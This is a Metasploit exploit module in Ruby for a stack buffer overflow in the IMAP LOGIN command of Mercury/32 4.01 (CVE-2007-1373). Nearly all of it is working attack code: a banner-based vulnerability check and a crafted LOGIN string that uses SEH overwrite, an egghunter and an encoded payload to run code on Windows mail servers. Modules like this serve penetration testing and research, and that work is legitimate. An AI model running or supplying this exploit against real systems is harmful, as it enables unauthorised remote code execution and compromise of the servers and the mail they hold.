##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow',
      'Description' => %q{
        This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
        LOGIN verb. By sending a specially crafted login command, a buffer
        is corrupted, and code execution is possible. This vulnerability was
        discovered by (mu-b at digit-labs.org).
      },
      'Author'         =>
        [
        'mu-b', # Discovery and exploit
        'MC', # Metasploit module
        'Ivan Racic' # Automatic targeting + egg hunter
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2007-1373'],
          ['EDB', '3418']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x20",
          'Space' => 2500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Ret' => 0x00401460
            }]
          ],
        'DisclosureDate' => '2007-03-06',
        'DefaultTarget'  => 0))
    register_options(
      [
        Opt::RPORT(143)
      ]
    )
  end

  def check
    connect
    resp = sock.get_once
    disconnect
    return CheckCode::Vulnerable if resp =~ %r{Mercury/32 v4\.01[ab]}
    Exploit::CheckCode::Safe
  end

  def exploit
    hunter, egg = generate_egghunter(payload.encoded)
    connect
    sock.get_once
    num = rand(255).to_i
    sploit = 'A001 LOGIN ' + "\x20" * 1008 + "{#{num}}\n"
    sploit << rand_text_alpha_upper(347)
    sploit << egg + payload.encoded
    sploit << rand_text_alpha_upper(7500 - payload.encoded.length - egg.length)
    sploit << "\x74\x06\x75\x04" + [target.ret].pack('V')
    sploit << make_nops(20)
    sploit << hunter
    sock.put(sploit)
    sock.get_once
    print_status("Sending payload (#{sploit.length} bytes) ...")
    handler
    disconnect
  end
end
